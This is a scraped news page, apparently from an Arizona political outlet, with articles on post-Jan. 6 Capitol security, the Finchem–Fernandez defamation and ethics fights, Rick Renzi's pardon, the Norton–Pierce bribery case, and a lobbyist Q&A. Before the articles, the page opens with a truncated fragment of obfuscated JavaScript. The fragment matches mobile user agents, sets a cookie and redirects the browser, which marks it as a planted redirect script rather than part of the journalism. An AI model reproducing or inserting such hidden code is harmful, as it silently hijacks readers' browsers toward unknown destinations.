i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Fears of violence at Capitol fizzle as security ramped up

An armed protester objecting to the inauguration of President Joe Biden stands outside the Arizona Capitol holding an American flag, in Phoenix, Wednesday, Jan. 20, 2021. Joe Biden was sworn in as the 46th president at the U.S. Capitol in Washington on Wednesday. (AP Photo/Ross D. Franklin)
An armed protester objecting to the inauguration of President Joe Biden stands outside the Arizona Capitol holding an American flag, in Phoenix, Wednesday, Jan. 20, 2021. Joe Biden was sworn in as the 46th president at the U.S. Capitol in Washington on Wednesday. (AP Photo/Ross D. Franklin)

Double layers of fences, increased police presence and mass Democratic absences from the House and Senate over fears of violence appear to have been for naught.

Arizona’s Capitol complex, like state capitols around the country, upped its security after a January 6 riot at the U.S. Capitol and FBI reports of credible threats of repeated violent protests at all 50 state capitols leading up to President Joe Biden’s inauguration on January 20.

State agencies urged their employees to work from home if possible several days over the past three weeks, and the majority of both Democratic caucuses stayed away from the Capitol on January 19 and 20 after requests to temporarily pause the legislative session went unheeded.

In lieu of the concern, Arizona’s seat of government was all but deserted this week. A handful of protesters showed up, though they were far outnumbered by reporters present to document the demonstrations.

The FBI’s Phoenix Bureau announced early this week that it hadn’t identified any specific threat to Arizona’s government.

Some Republican politicians who had egged on election protests for weeks shifted gears this week – they urged their supporters to stay clear, albeit while also propagating erroneous theories that  antifa was actually behind the violence at the U.S. Capitol. Police reports and interviews with Capitol mobs make clear that they were almost entirely President Trump supporters.

State Sen. Wendy Rogers, R-Flagstaff, tweeted on January 19: “Stay home tomorrow patriots. We want peace for our country. The only people acting up at capitols will be leftist radicals.”

Democrats who stayed away on January 19 and 20 returned to work in person January 21, after Biden’s inauguration. But some, including Sen. Victoria Steele, D-Tucson, said they still don’t feel fully safe at the Capitol after months of raucous and occasionally violent protests by people objecting first to government Covid restrictions and then toelection results.

“I don’t think just because something has not happened this week that something’s not going to happen,” Steele said. “If I was a really bad guy and I wanted to hurt somebody to make a point, to go down in infamy, I’d wait until the big deal events were over and the security started relaxing.”

 

Fernandez fights Finchem, Kern lawsuit against her

From left are Rep. Mark Finchem, R-Oro Valley, former Rep. Anthony Kern, and Rep. Charlen Fernandez, D-Yuma.
From left are Rep. Mark Finchem, R-Oro Valley, former Rep. Anthony Kern, and Rep. Charlen Fernandez, D-Yuma.

A Yuma Democratic lawmaker is asking a judge to toss a defamation lawsuit filed against her by two Republican legislators and a member of Congress.

Rep. Charlene Fernandez contends she did nothing wrong in signing a letter asking the U.S. Department of Justice and the FBI to investigate the activities of Rep. Mark Finchem of Oro Valley and now-former Rep. Anthony Kern of Glendale during the Jan. 6 attack on the U.S. Capitol. Both state lawmakers were there but have denied taking part in any disturbance.

There also were questions raised in the letter she signed about GOP Congressmen Andy Biggs and Paul Gosar. These stem from a claim by Ali Alexander, who organized the “Stop the Steal” movement, that he worked with them and Republican Congressman Mo Brooks from Alabama on the plan for the Jan. 6 demonstration.

In filing suit, Finchem, Kern and Gosar — Biggs did not join in — are seeking unspecified damages as well as a court order requiring Fernandez “to publish a full retraction of the false and malicious allegations” in the letter to the federal agencies.

But attorney David Bodney who represents Fernandez, said the claim is flawed. He said that communications with law enforcement like this letter are “absolutely privileged as a matter of Arizona law.”

Bodney also took a slap at claims made in the original lawsuit that appear to be designed in a bid to use their claims against Fernandez to pursue a political agenda.

The Republican lawmakers claim, without proof, that there were “irregularities” in the election of President Biden and that social media sites like Twitter and Facebook quashed harmful stories about Biden’s son, Hunter, and his laptop that contained documents about his business dealings. And the lawsuit claims problems with the integrity of electronic voting systems and what they claim were “mysterious changes in swing states” of vote tallies on election night.

All that, Bodney said, is legally irrelevant.

“Contrary to all of the rhetoric … this is not a lawsuit about fraud in the 2020 election, the purported suppression of conservative viewpoints by social media companies or issues of border security,” he wrote.

What the lawsuit is, Bodney said, is an attempt by Finchem, Kern and Gosar “to punish a critic for simply asking federal authorities for an investigation into their role in that attack” on the Capitol. And he said there’s no legal basis for that claim.

“Freedom of speech does not mean freedom from criticism, and the First Amendment protects Rep. Fernandez to the same extent it protects plaintiffs,” Bodney said.

In seeking federal review, the Democrats said that Republican legislators “publicly advocated for the overthrow of the election results which encouraged precisely the kind of violence that we witnessed.” More to the point, it says that Finchem and Kern, who had lost his re-election bid, were not only present but “actively encouraged the mob, both before and during the attack on the Capitol.”

And then there was the post from Alexander.

“We four schemed up putting maximum pressure on Congress while they were voting” on counting the Electoral College delegates, Alexander said in a now-deleted video on Periscope.

The letter at the center of the lawsuit, which actually was signed by all of the Democrats in the legislature, says there is evidence that all four “encouraged, facilitated, participated and possibly helped plan this anti-democratic insurrection.” But only Fernandez is named as a defendant.

The lawsuit contends she knew or should have known there was no evidence linking them to the riot. And it says that Fernandez knew the allegation that the Republicans helped stir up protesters were false or that she made them “in reckless disregard of their truth or falsity.”

Bodney said even if the letter to the FBI and Department of Justice were not absolutely privileged as communication with law enforcement, the lawsuit fails on other grounds.

“Plaintiffs have failed to plead any facts that would establish, as required, that Rep. Fernandez knew the challenged statements were false or consciously disregarded subjective doubts about their truth,” he told the judge. And Bodney said nothing in the complaint alleges any facts showing that Fernandez entered into any conspiracy to defame.

And there’s something else.

The U.S. Supreme Court has ruled that public officials can sue for defamation only if they can show there was “actual malice,” meaning that the person making the statements knew or seriously doubted the veracity of those statements. Simple negligence or even false statements, by themselves, is insufficient for a public figure to maintain a libel or slander action.

And Bodney said the fact that both Finchem and Kern have denied participating in the riot, by itself, is not enough to support their claim that Fernandez knew what she — and the other Democrats — were telling federal officials was false.

“Both the innocent and the guilty will deny their culpability for criminal conduct,” he said. “Neither the law nor common sense required anyone to take plaintiffs’ denials at face value.”

A legislative aide to Fernandez said she is paying for her own defense.

No date has been set for a trial.

 

 

Finchem retaliates, files ethic complaints against Democrats

Rep. Mark Finchem, R-Oro Valley, speaks before the Senate Finance Committee on March 8, 2017. Democrats have targeted Finchem even though he serves in a relatively safe district in which the Republican voter registration advantage has shrunk to less than 10 percentage points over Democrats, an historical threshold for districts to flip. PHOTO BY GAGE SKIDMORE/FLICKR
Rep. Mark Finchem, R-Oro Valley, speaks before the Senate Finance Committee on March 8, 2017. Democrats have targeted Finchem even though he serves in a relatively safe district in which the Republican voter registration advantage has shrunk to less than 10 percentage points over Democrats, an historical threshold for districts to flip. PHOTO BY GAGE SKIDMORE/FLICKR

Freshly cleared of violations by the chair of the House Ethics Committee, Rep. Mark Finchem is now turning the tables on some of his accusers and political foes.

The Oro Valley Republican has filed his own complaint against 28 House Democrats and 14 Senate Democrats charging them with having conspired to punish him for exercising his First Amendment right to “peaceably assemble and contest the legitimacy of the recent presidential election.” He contends that the decision of those Democrats to sign a letter asking the FBI and Department of Justice to look into his activities before and during the Jan. 6 demonstration in Washington and the insurrection that followed runs afoul of not only House ethics rules but also is libelous and violates federal law.

Rep. Athena Salman, D-Tempe, told Capitol Media Services the Democrats were well within their rights — and had enough evidence, direct or circumstantial — to ask for a federal investigation. And she dismissed Finchem’s new complaint against them as “retribution” for their own complaint to the Ethics Committee.

That original complaint was dismissed last week by Rep. Becky Nutt, R-Clifton, who chairs the committee. Nutt said the Democrats presented no evidence to back their charges that Finchem “supported the violent overthrow of our government” or that he directly participated in the attack on the U.S. Capitol.

At best, Nutt said, the allegations against Finchem amount to his “advocacy of controversial political opinions.”

Finchem, through his attorney, also released what appears to be a partial record of his texts from that period. It starts with planning efforts for the a “Stop the Steal” rally in Phoenix and ends with Finchem, after attending the event outside the White House where he was supposed to speak and then ending up at the Capitol.

There is at least one text that suggests Finchem, in publicly describing his activities in Washington on Jan. 6, may have been less than forthcoming.

In a statement in the days following, Finchem said he was unaware until 5 p.m. that the Capitol had been breached.

Finchem has not denied going there, saying in a text he was “swept up” by the crowd.

But he also was aware there were plans to march on the Capitol — something not in the event permit — having been told in a text from activist Michael Coudry that was the plan all along to go there after the legal rally near the White House.

He later got a message from Coudry saying “They are storming the capital, I don’t think it safe.” That was followed up by a response from Finchem saying he was on the side of the Capitol facing the Supreme Court. “Is that the right side?”

But there is nothing in what his attorney released — or anywhere else so far discovered for that matter — showing that Finchem had breached the barriers around the Capitol or entered the building.

The heart of Finchem’s new complaint goes to the letter last month by the Democrats to federal officials saying that Finchem and now-former Rep. Anthony Kern, R-Glendale, were not only present in Washington but “actively encouraged the mob, both before and during the attack on the Capitol.” They also said the pair “sought to conceal the consequences of their conduct by falsely blaming Antifa.”

In the letter to the federal agencies, the Democrats said there is “evidence” that the two Arizona lawmakers, along with Arizona Congressmen Andy Biggs and Paul Gosar, “encouraged, facilitated, participated and possibly helped plan this anti-democratic insurrection on January 6.”

“It is vital to any current or future federal investigation, and ultimately to the Arizona public they represent, that we learn what these elected officials knew about this planned insurrection and when they knew it,” the Democrats wrote.

Finchem, in his ethics complaint against the Democrats, called them “tyrants” for contending that his activities in questioning the outcome of the election were criminal.

“Their tactics are repugnant to our foundational belief in open and robust debate, and as such smack of the very tyranny that, only a few decades ago, we spent so much blood and treasure to defeat,” he wrote.

“What are they so afraid of that they and their allies in the media deem it necessary to remove any question of election integrity from the table of legitimate discourse?” Finchem continued. “Do they hope that shutting people up will make the controversy go away?”

He contends several things make all this a violation of House rules.

First, the letter went out on a letterhead of the “Arizona State Legislature” with the state seal, making it look like an official act of the legislature, which it was not.

More to the point, Finchem says the letter “was replete with material factual misrepresentations that were unsupported by evidence and known to be false by the House and Senate members at the time of issuance.”

Finchem said he released a statement on Jan. 11 detailing what he had and had not done in Washington. That included he went there to attend and speak at the rally, that he never came within 500 yards of the Capitol, that he did not see any activity about the building being breached and didn’t learn about that until just before 5 p.m. that evening.

Yet it was the very next day that the Democrats asked for a federal investigation.

“There is no evidence whatsoever that I engaged in any activity that could be objectively viewed as sedition, treason or any federal crime,” Finchem wrote. “The implication that I have, or every possibly have, is entirely baseless.”

He said the activities of the Democrats are within the purview of the House and Senate ethics committees to investigate. That includes his contention that the letter to the federal agencies “was issued in bad faith for political purposes, and not out of a legitimate, well-founded belief that I had engaged in any criminal activity of any nature.”

And Finchem said that conclusion is supported by the fact that a copy of the complaint was released to the media at the same time the complaint was filed.

He also said if the committee needs a specific criminal charge against the Democrats they can look to a section of federal law which makes it illegal for government officials to make a “materially false, fictitious, or fraudulent statement or representation.”

Salman, who has been at the forefront of the Democrats efforts to get an investigation of Finchem, said the new complaint won’t deter them from their demands for further inquiry.

“The member was involved in inciting a rebellion against the government which is not only a violation  of the oath of office that he took but a violation of the 14th Amendment of the United States Constitution,” she said.

Salman does not dispute that the initial rally near the White House was legal. But she contends that what happened next can be tied to Finchem.

“The people who stormed the Capitol with the intention of not only overthrowing the election results but with the intention with also killing national and federal elected officials were doing so on the basis of falsehoods and conspiracies that were laid out by the president all the way down to local lawmakers in the days following the general election,” she said. And Salman contends that, absent those statements, the riot never would have occurred.

But Finchem, in his own complaint against the Democrats, pointed out that he is hardly the only one who questions the results of the election. He said that does not make him — or them — liable for “rogue actors” who chose to invade the Capitol.

“He’s not an innocent actor,” Salman responded.

“The First Amendment protects you from the speech that comes out of your mouth,” she said. “But it doesn’t protect you from the consequences of your actions.”

In a separate development, Finchem is asking supporters for money for what he said is $15,000 in debt he incurred in organizing the faux legislative hearing at a Phoenix hotel in late November to have a handful of GOP lawmakers hear Trump attorney Rudy Giuliani present what he said was evidence of fraud in the Arizona election returns. He is using his Gab account — a conservative alternative to Twitter — to request money be spent to a PayPal account.

The Trump campaign already has reported it paid a firm owned by Finchem $6,037 for “recount: legal services.” Finchem has said he used it to pay for the costs of security for that hearing.

The lone Democrat not cited in Finchem’s new complaint is Rep. Aaron Lieberman of Paradise Valley.

He was not around and did not sign the original complaint to federal officials. But Robbie Sherwood, a spokesman for the House Democrats, said he signed an updated complaint a day later.

 

Finchem’s ethics complaint against Democrats lands in trash

trash-620

Another ethics complaint — this time one Rep. Mark Finchem filed against all of the House and Senate Democrats — will not be going anywhere.

Ethics Committee Chairwoman Rep. Becky Nutt, R-Clifton, used the same basis for throwing out the Oro Valley Republican’s complaint Friday as she did Feb. 12 when she tossed 82 complaints filed against Finchem and also on Feb. 15 for complaints against two other Republicans. 

“The ethics committee is not an arena for waging political contests. That is true whether the subjects of a complaint are individual Republicans (as before) or nearly the entire Democratic caucus (as here),” Nutt wrote. 

Finchem alleged the Democrats conspired to punish him for exercising his First Amendment right to “peaceably assemble and contest the legitimacy of the recent presidential election.” He contends that the decision of those Democrats to sign a letter asking the FBI and Department of Justice to look into his activities before and during the Jan. 6 demonstration in Washington and the insurrection that followed runs afoul of not only House ethics rules but also is libelous and violates federal law.

Rep. Cesár Chávez, D-Phoenix, filed a complaint in mid-January asking the committee to investigate Finchem’s advocacy for overturning the results of the 2020 presidential election and his presence in Washington D.C. on Jan. 6 the day a pro-Trump mob stormed the Capitol. Eighty-one other people, many of them residents of Finchem’s district, then sent the committee letters supporting Chávez’s call for an investigation.

Nutt said a week ago she would not act on the complaint against Finchem, viewing it as a political dispute and not a matter for the Ethics Committee, after which Finchem filed a complaint against all the Democrats who in January sent a letter to the FBI asking for an investigation of Finchem.

Earlier this week Nutt also rejected calls for an investigation into comments Reps. John Fillmore, R-Apache Junction, and Kevin Payne, R-Peoria, made about nonbinary people at a committee meeting, casting the complaint — like the one against Finchem and Finchem’s subsequent complaint — an attempt to use the ethics process to settle political disputes.

Howard Fischer of Capitol Media Services contributed to this report. 

Former Congressman Renzi pardoned

Rep. Rick Renzi, R-Ariz., right, facing a 35 count indictment arrives at U.S. District Court with his lead attorney Reid Weingarten, left, Tuesday, March 5, 2008, in Tucson for his arraignment.  Renzi, who was convicted and served two years in prison was among the 11th flurry of pardons and commutations President Trump issued Jan. 20, 2021. (AP Photo/Ross D. Franklin)
Rep. Rick Renzi, R-Ariz., right, facing a 35 count indictment arrives at U.S. District Court with his lead attorney Reid Weingarten, left, Tuesday, March 5, 2008, in Tucson for his arraignment. Renzi, who was convicted and served two years in prison was among the 11th flurry of pardons and commutations President Trump issued Jan. 20, 2021. (AP Photo/Ross D. Franklin)

President Trump issued pardons or commutations to 143 people on his last full day in office January 19, including a former Arizona congressman who served two years in prison after a 2013 conviction related to a land swap deal.

Rick Renzi, 62, a Republican who represented Arizona’s 1st Congressional District from 2003 to 2009, was convicted on 17 of 32 counts, including wire fraud, conspiracy, extortion, racketeering, money laundering and making false statements to insurance regulators, the Associated Press reported at the time. Prosecutors said Renzi used his office for personal financial gain and looted a family insurance business to help pay for his 2002 campaign. Renzi was accused of holding hostage possible parcel swaps involving public land proposed as the site for an Arizona copper mine unless it included purchasing private land owned by a former business associate.

Renzi put out a statement January 19 maintaining his innocence, accusing the FBI and Department of Justice of misconduct in investigating him and thanking Trump.

“After almost 14 years of fighting for my innocence, it took a real man of action and courage in President Trump to finally relieve me of the horrific deceit of being wrongly convicted by a Department of Justice that engaged in witness tampering, illegal wiretapping, and gross prosecutorial misconduct,” Renzi said. “Because I refused to plead guilty to a crime I did not commit, a prosecutor even resorted to suborning perjury in order to secure a fraudulent conviction. I went to prison and was wrongfully incarcerated rather than cower and plead to the DOJ fabricated narrative that I was guilty.”

Trump’s office said in a news release that Renzi’s pardon was supported by Reps. Paul Gosar, R-Ariz. and Tom Cole, R-Okla., and former Reps. Jack Kingston, Tom DeLay, Todd Tiahrt, John Doolittle, Duncan Hunter Sr., Richard Pombo, Charles Taylor, Dan Burton and Larry Weitzner, plus the National Institute of Family and Life Advocates and “numerous other members of his community.” Trump granted him a full pardon.

“His constituents considered him a strong advocate for better housing, quality education, and improved healthcare — especially for the underprivileged and Native Americans,” the president’s office said in a news release announcing his and the 142 other pardons and commutations. “He is the father of 12 children and a loving and devoted husband.”

Trump has issued pardons to numerous politicians convicted on corruption charges in his last days in office. The final batch of pardons also included former California Rep. Randall Cunningham, who was convicted of bribery; former Detroit Mayor Kwame Kilpatrick, who pleaded guilty to obstruction of justice; and former North Carolina Rep. Robert Cannon “Robin” Hayes, who was sentenced to probation for making a false statement in the course of a federal investigation.

In 2017, Trump pardoned former Maricopa County Sheriff Joe Arpaio, who was found guilty by U.S. District Court Judge Susan Bolton of criminal contempt. That stemmed from her finding that he had willfully violated an injunction issued by another judge prohibiting him from enforcing federal civil immigration laws. Before he could be sentenced, though, Trump granted the former sheriff a full and unconditional pardon.

A federal appeals court rebuffed Arpaio’s bid to have his criminal conviction formally erased.

 

 

 

 

Indicted lobbyist’s ex-wife gave FBI documents

An attorney representing indicted lobbyist Jim Norton said in court today the lobbyist’s ex-wife provided more than 250 pages of documents to the federal investigation that also includes former Arizona Corporation Commissioner Gary Pierce, his wife Sherry Pierce and Johnson Utilities owner George Johnson.

The defendants were indicted in May on federal charges of felony conspiracy, bribery, mail fraud and five counts of wire fraud. They have pleaded not guilty.

Jim Norton
Jim Norton

They were were in court today to get access to various FBI interviews, case agent notes and other documents.

Prosecutors would not share some of them unless there was a court order prohibiting the defense team from sharing them with others, including the media. The government argued outside disclosure could harm another — and larger — investigation that is still pending.

Norton’s attorney, Ivan Mathew, mentioned Kelly Norton in reference to activities previously attributed in the indictment to an unindicted co-conspirator who has not been identified.

“Not one check has been turned over. How does that affect another investigation? Not one invoice between Kelly Norton and Mr. Johnson has been turned over. How does that affect another investigation?” Mathew said. “The employment agreement that’s referenced in the indictment has not been turned over. How does that affect another investigation? The confidentiality agreement allegedly between Mrs. Pierce and Mrs. Norton – how does that affect another investigation? There’s 268 pages of material provided by Kelly Norton; not one has been turned over.”

Former Arizona Corporation Commissioner Gary Pierce, with bottle, and wife Sherry Pierce, both of whom stand accused in a bribery scheme, leave U.S. District Court in Phoenix after their arraignment on June 7, 2017.
Former Arizona Corporation Commissioner Gary Pierce, with bottle, and wife Sherry Pierce, both of whom stand accused in a bribery scheme, leave U.S. District Court in Phoenix after their arraignment on June 7, 2017.

The indictment alleged the defendants conspired for Johnson to pay the Pierces through Norton and the unindicted co-conspirator in exchange for Pierce’s favorable votes at ACC. Pierce and his wife allegedly received $31,500 from Johnson.

Jim Norton allegedly directed an unnamed individual to set up a consulting firm and checking account to receive about $6,000 per month, plus expenses, from Johnson. The co-conspirator then paid Sherry Pierce $3,500, according to the indictment.

According to the indictment, Sherry Pierce was allegedly directed to send invoices totaling $3,500 to the consulting firm for “simple tasks” assigned by the co-conspirator. Sherry Pierce received payments for 10 months in 2011 and 2012.

She is also alleged to have signed a confidentiality agreement with the consulting firm to prevent her from disclosing the nature of her employment and the source of the payments.

Mathew did not explicitly state that Kelly Norton was the unindicted co-conspirator, and he declined to comment further on his statements.

Kelly Norton’s attorney Doug Behm declined to comment on Mathew’s statements.

“I think this is a situation where we’re going to have to let it play out in court and see where it goes from there,” he said.

Utility owner George Johnson, who is accused in a bribery scheme, leaves U.S. District Court in Phoenix on June 7, 2017.
Utility owner George Johnson, who is accused in a bribery scheme, leaves U.S. District Court in Phoenix on June 7, 2017.

U.S. District Court Judge John Tuchi ordered prosecutors to disclose everything they have related to this case and “find the carve outs” – items that cannot be shared apart from the defendants and their lawyers in an effort to protect the broader investigation from which these allegations stem.

“We’re glad that the court granted the motion to compel the discovery,” Mathew said.

What that order also does is ensures the defense team can actually see what the government has — and what it wants protected. At that point, Tuchi said, the lawyers then can file legal motions arguing there is no reason for restrictions on how the materials can be used.

Assistant U.S. Attorney Frederick Battista noted that, even without disclosure of the documents and interviews, there already have been media reports and speculation on what else is being investigated.

Some of that is known because both the Arizona Corporation Commission and Pinnacle West Capital Corp., parent of Arizona Public Service, have disclosed that they have been in contact with the FBI.

And Gary Pierce told Capitol Media Services after he was initially interviewed by the FBI that agents were questioning him about the 2014 election, describing the conversation as “cordial.”

Perhaps a less cordial interaction occurred between the Pierces and the FBI on May 16.

According to Sherry Pierce’s attorney Ashley Adams, federal agents showed up at the Pierces’ home and threatened to indict Sherry Pierce if her husband did not plead guilty to bribery charges.

Days later, they were both indicted.

“My client was in her robe,” Adams told U.S. District Court Judge James Tuchi.

Adams said the agents, with a draft of the proposed indictment in their hands, told Gary that if he did not plead guilty “we’re going to indict the mother of your children and the grandmother of your grandchildren.”

Battista did not address the allegation during Tuesday’s court hearing. And he refused to comment on them afterwards.

Adams and Gary Pierce’s attorney Patricia Gitre also declined to comment.

The probe appears to be an outgrowth of an investigation originally started at the state attorney general’s office. That included allegations that Pierce, while a regulator, had met secretly with Don Brandt, the chief executive of APS, and Don Robinson, his predecessor, while the utility was in the middle of a rate case before the commission.

That state investigation also was looking into $500,000 spent by the Free Enterprise Club in 2014 on behalf of Gary’s son, Justin, who was running for secretary of state. Wil Cardon, another candidate in that race, charged that the elder Pierce was using his position on the commission to get financial support for Justin’s campaign from companies regulated by the panel.

Howard Fischer of Capitol Media Services contributed to this report.

Kurt Altman: Baseball wash-up lands in law and public policy

Kurt Altman (Photo by Paulina Pineda/Arizona Capitol Times)
Kurt Altman (Photo by Paulina Pineda/Arizona Capitol Times)

Kurt Altman, the state director for Right on Crime, a group that pushes conservative solutions to reduce crime, went to college to play baseball, but he ended up an attorney whose career has taken him from facing down and defending criminals in county and federal courtrooms to lobbying for “Right to Try” legislation in 46 state Capitols. The legislation allows dying patients and pharmaceutical companies to bypass the federal government to use unproven drugs.

“Some people would say I can’t keep a job,” the Erie, Pa. native said.

The walls of his downtown Phoenix office tell the story of his more than 20-year career – badges from when he worked at the Maricopa County Attorney’s Office, his assistant U.S. attorney credentials, the Executive Office for United States Attorneys’ Director’s Award (the highest award given to assistant U.S. attorneys) – a photo alongside former FBI Director James Comey, and a U.S. flag flown on a plane in a bombing raid done in Altman’s name in Afghanistan during Operation Enduring Freedom in 2004.

“I’ve had an interesting career. Unless I could have played for the Diamondbacks or something I wouldn’t change what I’ve done,” he said. “And it’s still progressing. Who knows what I’ll be doing next year.”

Cap Times Q&ASo, you played college baseball?

Baseball was one of my great passions growing up. I was an all-state high school baseball player. Went to college to play baseball. But by the time I got out of college, frankly, I was kind of washed-up in the game. I was going no further, I had some injuries and things, so I had to do something and ended up in law school.

What attracted you to the law profession?

I always envisioned myself being a litigator. I liked the aspect of justice, as corny as that sounds. I think things should be fair and was always interested in that. I originally went to law school with the intent of becoming an FBI agent. When I got out of law school, the FBI wasn’t hiring. I ended up in Arizona as a state prosecutor, then left the state prosecutor’s office to be an FBI agent for a short time. I left the FBI and came back to Arizona, which by that time really had been my home.

You worked in the family violence bureau at the County Attorney’s Office. Did that take an emotional toll on you?

I prosecuted primarily child homicide cases. Not child sex cases, it was all child abuse or homicide cases, and also domestic relations type cases. Looking back, sometimes I wonder how I did it. I think it would be more difficult for me now than it was then. I didn’t have children then, so not because I have children now, but I think actually I was just younger and more oblivious to things. I was able to separate myself. But they do take a toll because you build relationships with not only the officers and the people you’re working with but the victims’ families and everybody involved in the system. It’s tragic on everybody’s side, so they’re very difficult, but you power through.

Is there one case that has stuck with you all these years later?

There’s a couple. I tried the only federal capital case to take place in the District of Arizona and it was two defendants in the murder of a 69-year-old grandmother and her 9-year-old granddaughter during a carjacking. And that one sticks out for a number of reasons. Not only was that case super emotional and draining, my first child was born right in the middle of the trial. It was funny, all the lawyers and the judge knew it was close and back in those days we had pagers and not phones. I had a pager on my hip and I’d be at the podium with a witness on the stand and my pager would go off on vibrate and I’d look down, I’d shut it off, it would be nothing, and I’d look up and I’d realize that everybody that knew, the judge, the court staff, the defense lawyers, the FBI agent, they would all be looking at me and I’d look around the courtroom and slyly go ‘It’s fine.’ So that case ended on a Thursday, my wife went into the hospital on Friday, the jury came back on Friday, I was not there for the verdict, my son was born on Saturday and I was back in trial on Monday.

You started lobbying a couple years back while working at the Goldwater Institute. Has it been a hard transition coming from a criminal justice background?

I think it has come pretty naturally. I’ve always said the law is a relationship business. … And I think that’s exactly what lobbying and public policy work is and I think that’s something that I’ve been able to do.

Are there any similarities to cross examining a murderer and lobbying the Legislature?

You know, I don’t think any lawmakers are murderers by any means, but yeah, there are similarities to cross examining a defendant and making a point with a lawmaker. I try not be combative at all because it’s certainly a different atmosphere. … But I do use similar tactics where I try to walk them logically down a path that they agree with, and they agree with, and they agree with, and then I’m like ‘Then why?’ And I often get blank stares. I try to get them to a point where they can’t do anything but agree with me based on everything I’ve said, if that’s possible.

Which part of your career have you enjoyed more?

I’ve probably done 150 to 200 felony jury trials as a prosecutor. … I kind of feel like I miss that but I also feel like that’s maybe a younger person’s game right now. I will, and I have a couple of cases that may go to trial, but I don’t know that I can do a 13-week trial again. So in that respect, I like what I’m doing at the Legislature. I feel like I’m helping create, especially when it comes to criminal justice, a better framework for the folks that are taking over to work within the system. Maybe that helps justify what I’m doing, but that’s kind of what I think.

How do you find time for hobbies?

I was afraid you were going to ask me that. I have three kids too, so my hobbies end up being a bus driver for my kids on the weekend. My life is not my own. But when I can I like to golf. Both my boys like to golf. They’ll play with me, so it’s kind of nice and it’s kind of an excuse for me to say, “Hey, we’re going to go,” instead of, “I’m going to go golfing.”

Legal documents: Indicted lobbyist’s ex-wife FBI informant in bribery case

Former Arizona Corporation Commissioner Gary Pierce, with bottle, and wife Sherry Pierce, both of whom stand accused in a bribery scheme, leave U.S. District Court in Phoenix after their arraignment on June 7, 2017.
Former Arizona Corporation Commissioner Gary Pierce, with bottle, and wife Sherry Pierce, both of whom stand accused in a bribery scheme, leave U.S. District Court in Phoenix after their arraignment on June 7, 2017.

The legal fate of a former utility regulator, the head of a utility and a lobbyist facing bribery, conspiracy and fraud charges could depend on whether jurors believe the lobbyist’s former wife.

And that presumes they get to hear from Kelly Norton, the woman who appears to be the mystery “unidentified co-conspirator” in last year’s indictment.

In new legal filings, lobbyist Jim Norton contends Kelly, his former wife, cannot legally testify in the criminal case playing out in federal court here.

Ivan Mathew, his attorney, acknowledges that Kelly made a series of statements to the FBI ahead of the indictment. Those statements involve the allegations by federal prosecutors that Jim Norton funneled money to former commissioner Gary Pierce by creating a job for his wife, Sherry.

Mathew contends that, in at least one case, a conversation Kelly mentioned to FBI agents never actually occurred.

Utility owner George Johnson, who is accused in a bribery scheme, leaves U.S. District Court in Phoenix on June 7, 2017.
Utility owner George Johnson, who is accused in a bribery scheme, leaves U.S. District Court in Phoenix on June 7, 2017.

But the heart of what Mathew is arguing is that anything that occurred between Kelly and Jim when no one else was present is protected by “marital privilege.” And Mathew said that privilege belongs to Jim and he is exercising his right to preclude his former wife’s testimony.

Mathew is not relying solely on keeping Kelly Norton’s testimony out of court to keep his client — and the others — out of prison.

He also is telling U.S. District Court Judge John Tuchi that any payments from Johnson to others, including Sherry and Gary Pierce, were simply all parties exercising their First Amendment rights of free speech. He said Jim and Kelly Norton and Sherry Pierce were simply assisting Johnson “on marshaling support to maintain parts of the East Valley as unincorporated towns.”

The indictment charges that Gary Pierce, a former member of the Arizona Corporation Commission, was given the opportunity to purchase land from George Johnson for below-market price in exchange for pushing through a new policy to allow owners of small utilities regulated by the commission, including Johnson Utilities, to pass on the cost of their personal income taxes to ratepayers.

That, according to the indictment, was only part of the deal.

Pierce’s wife, Sherry, was given what the indictment claims is essentially a do-nothing job for $3,500 a month by an unidentified and unindicted co-conspirator, with the money going into the couple’s joint checking account.

According to the indictment, the ultimate source of those payments, laundered through that unnamed and unindicted conspirator’s consulting firm, was Johnson, owner of Scottsdale-based Johnson Utilities. That firm provides water and sewer service in Pinal County.

Lobbyist Jim Norton, who is under indictment in a bribery scheme, leaves U.S. District Court in Phoenix on June 7, 2017.
Lobbyist Jim Norton, who is under indictment in a bribery scheme, leaves U.S. District Court in Phoenix on June 7, 2017.

Johnson also was indicted on the same charges of conspiracy, bribery, mail fraud and wire fraud.

